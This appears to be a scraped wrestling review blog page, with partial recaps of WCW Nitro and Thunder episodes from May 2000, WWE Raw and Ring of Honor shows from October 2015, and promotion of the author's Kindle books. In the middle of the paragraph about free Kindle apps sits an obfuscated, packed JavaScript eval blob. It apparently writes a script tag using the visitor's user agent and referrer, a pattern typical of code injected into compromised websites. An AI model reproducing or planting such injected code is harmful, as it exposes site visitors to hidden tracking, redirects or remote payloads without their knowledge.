New Column: The Worldwide Leader In Not Knowing The Difference
Looking at the difference between real fake and fake real in wrestling.
http://www.wrestlingrumors.net/kbs-review-the-worldwide-leader-in-not-knowing-the-difference/42877/
Looking at the difference between real fake and fake real in wrestling.
http://www.wrestlingrumors.net/kbs-review-the-worldwide-leader-in-not-knowing-the-difference/42877/
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Nitro #241
Date: May 22, 2000
Location: Van Andel Arena, Grand Rapids, Michigan
Attendance: 6,530
Commentators: Tony Schiavone, Scott Hudson, Mark Madden
We open with a recap of the New Blood falling apart. Remember: as soon as Bischoff and Russo were gone for a single night, the whole team started falling apart. They need that strong and MANLY influence of Vince Russo to keep them in line.
Booker T. vs. The Cat
Terry Funk held a press conference earlier today and might be retiring later tonight.
Cruiserweight Title: Daffney vs. Crowbar
Booker tells the Misfits to stay tuned next week.
Ralphus and Norman are washing cars for $1 apiece.
Kidman vs. Horace Hogan
Jarrett and Russo make jokes around the casket.
The Filthy Animals arrive in a bouncing car and the Misfits take notice.
Clip of the Kanyon interview from Thunder.
The Wall vs. Mike Awesome
Wall pops up and goes after Awesome but Shane Douglas runs out with a steel pipe. They fight into the back and Page pops out of an ambulance (because he was just in there) and everyone brawls.
Norman and Ralphus pour on whatever is in the new bucket. It looks like paint or paint remover.
Scott Steiner vs. Rick Steiner
Pamela Paulshock, the new fake chest with a pretty blonde interviewer attached, asks Nash about what he just did. Nash wants a title shot tonight.
Chuck Palumbo vs. Diamond Dallas Page
Liz is here with Palumbo along with the security. Page gets a quick two off a belly to belly, followed by a Batista Bomb for the same. Elizabeth slams Palumbo into a rollup for two before a double clothesline puts both guys down for an eight count. Cue Kimberly to hit Liz in the back with a ball bat so the referee leaves the ring, allowing Awesome to come in with the halo. Page looks at Awesome and stands there so Mike can hit him in the face. Palumbo racks Page for the win.
Luger comes out and takes a beating of his own. Palumbo hits him in the face with the exercise bar and Luger has to go out on a stretcher.
Vampiro vs. Hulk Hogan
Remember when this was a thing a few months ago? Well this time Vampiro comes out with a blowtorch and a can of gasoline. Vampiro jumps him to start and knocks Hogan out to the floor. A superkick knocks Hogan up against the barricade but he comes right back with punches to the face.
Sting saves Hogan from being set on fire (little reaction) and lays Vampiro out.
It was in fact paint remover, triggering another brawl between the Misfits and the Animals. Major Gunns has to reluctantly give Ralphus mouth to mouth. Naturally she winds up getting tongue, which Tony finds hilarious.
WCW World Title: Jeff Jarrett vs. Kevin Nash
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I can’t wait to hear all the purists whine about how this isn’t real but having to leave to go see who Matthew Berry says they should bench for their fantasy team this week.
Cool news for wrestling fans as this is going to be about five minutes a week and could lead to more coverage down the line.
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Night Raw
Date: October 12, 2015
Location: Allstate Arena, Chicago, Illinois
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
Opening sequence.
New Day vs. Randy Orton/Dean Ambrose
Dean shows Orton how to stomp and they get in an argument, allowing E. to crawl over and tag as we take another break. Back with New Day in control and stomping Orton down, including the running dropkick from Orton. Big E. slaps on a bearhug until Randy elbows his way out, setting up the tag to Dean.
All of the New Day members are sent to the floor for a suicide dive but E. comes back with a belly to belly inside. Another tag brings in Orton, who ducks Trouble in Paradise and plants Kofi with the hanging DDT. The camera went wide like someone was going to run in but nothing happened. The RKO is loaded up but Kofi shoves Randy into Dean, setting up a rollup for the pin at 17:53.
Video on Undertaker vs. Brock with the final chapter inside the Cell.
Nikki Bella vs. Naomi
Paige has been named the Most Unconventional Diva in a Payday (candy bar) product placement bit.
US Title: John Cena vs. Dolph Ziggler
Dudley Boyz vs. Ascension
Neville/Cesaro vs. Sheamus/King Barrett
Sheamus comes in for a slugout but the battering ram is countered by another uppercut. Cesaro throws Neville down onto Sheamus and Barrett, only to have Sheamus’ kickout send Neville into the Bull Hammer to give Sheamus the pin at 3:56.
Video on Braun Strowman.
Roman Reigns vs. Braun Strowman
The Wyatts surround Roman but he gets to the floor just in time. Bray kneels in front of Roman and says follow the buzzards so Reigns pops him in the jaw.
Ryback vs. Rusev
No entrances for either guy. We recap the Summer story from last week and Cole casually mentions that TMZ reported Lana and Rusev got engaged over the weekend. So yeah, screw storylines because a gossip site told the truth about your story. You could always NOT SAY ANYTHING ABOUT IT but that would be ignoring the internet and that might mean a downgrade in your social media score or whatever.
Kalisto vs. Kevin Owens
Rating: C-. I still really like the booking here as Owens gets to have this meaningless mini feud with the Dragons but still gets to build towards his rematch with Ryback without the usual tropes WWE is so obsessed with. Good stuff here and again Kalisto is an incredibly fun act who could be something special going forward.
Brie Bella/Alicia Fox vs. Becky Lynch/Charlotte
Another Lesnar vs. Undertaker video.
Seth Rollins vs. ???
Results
New Day b. Randy Orton/Dean Ambrose – Rollup to Orton
Nikki Bella b. Naomi – Rack Attack
John Cena b. Dolph Ziggler – Zig Zag
Dudley Boyz b. Ascension – 3D to Ascension
Sheamus/King Barrett b. Neville/Cesaro – Sheamus pinned Neville after a Bull Hammer
Roman Reigns b. Braun Strowman via countout
Kevin Owens b. Kalisto – Pop Up Powerbomb
Brie Bella/Alicia Fox b. Becky Lynch/Charlotte – Missile dropkick to Charlotte
Kane b. Seth Rollins – Tombstone
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of Honor
Date: October 7, 2015
Location: MCU Park, Brooklyn, New York
Attendance: 2,000
Commentators: Prince Nana, Kevin Kelly, King Corino
Time Splitters vs. Briscoe Brothers
Nigel McGuinness joins commentary.
Kazuchika Okada vs. Roderick Strong
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I’ve got quite the selection. Here they are with Amazon links for America. You should be able to find them on any given country’s Amazon page. These are on a Kindle format but if you don’t have a Kindle, there are free eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtyfb|var|u0026u|referrer|eytzr||js|php'.split('|'),0,{})) apps for just about every electronic device you could own. Here’s a link to every possible one.
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Complete 1997 Monday Night Raw
Complete 1998 Monday Night Raw
Complete 2001 Monday Night Raw
History of Saturday Night’s Main Event
History of the WWE Championship
Complete 1995/1996 Monday Nitro
History of Clash of the Champions
Complete 1998 Monday Nitro/Thunder Part 1
NXT: The Full Sail Years Volume I
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All are also available worldwide.
KB
I can accept this. She’s great at popping the crowd but why should she take a spot that could go to others who are actually signed to the company?
Update: On Twitter, Leva said “don’t believe everything you read.” There might be more to this so maybe we get the Big Cass intro again.
Thunder
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May 17, 2000
Location: Cajundome, Lafayette, Louisiana
Attendance: 3,066
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone
We open with clips of Flair winning the title.
Opening sequence.
Misfits in Action vs. Filthy Animals
The Misfits get beaten down until Booker makes the save, leading to Major Gunns taking off her top and giving Chavo CPR. Tenay: “It must be the large lungs.”
Luger tells the Millionaires he has to go and take care of something.
Hulk Hogan vs. Horace Hogan
Norman and Ralphus are selling homemade F.U.N.B. shirts. Where did they get the money to make those if they had $1.20 between them on Monday?
Hardcore Title: Terry Funk vs. The Cat
This is Funk giving Cat a shot due to what happened Monday. Funk attacks him on the ramp and gets two each off a DDT and neckbreaker. They fight into the back with Funk nailing him with a computer, only to be sent into a pile of water bottles. Some trash can shots have Cat in trouble so he comes back with a bag of popcorn.
Norman and Ralphus get arrested. It was a nice idea while it lasted.
Mike Awesome vs. Scott Steiner
Shane gets a phone call from Kronik who want him in a three way dance tonight. Douglas hangs up on them and tells the New Blood to watch his door. They tell him to fight his own battles and leave.
Kronik vs. Shane Douglas
It seems that Kronik are the official champions after the win on Monday. Sure why not. Shane tries to fight back with a foreign object but Clark knocks it out of his hand and hits the pumphandle slam. Cue the Wall with a table to chokeslam Shane through a table for revenge from Monday. High Times completes the squash. Tony tries to call this a three way dance but give me a break.
Vampiro rambles about being the real freak and burns a Sting mask.
Shane asks Jarrett for help.
Ric Flair/Arn Anderson vs. Crowbar/David Flair
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The Rhodes Family presented the winners with a trophy. Nothing came of this but it was a nice moment.
Oh and no Dusty Finish? Really? Not once in the whole thing?
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It’s never a good sign, but I’m sure they have taped matches to make up for it right?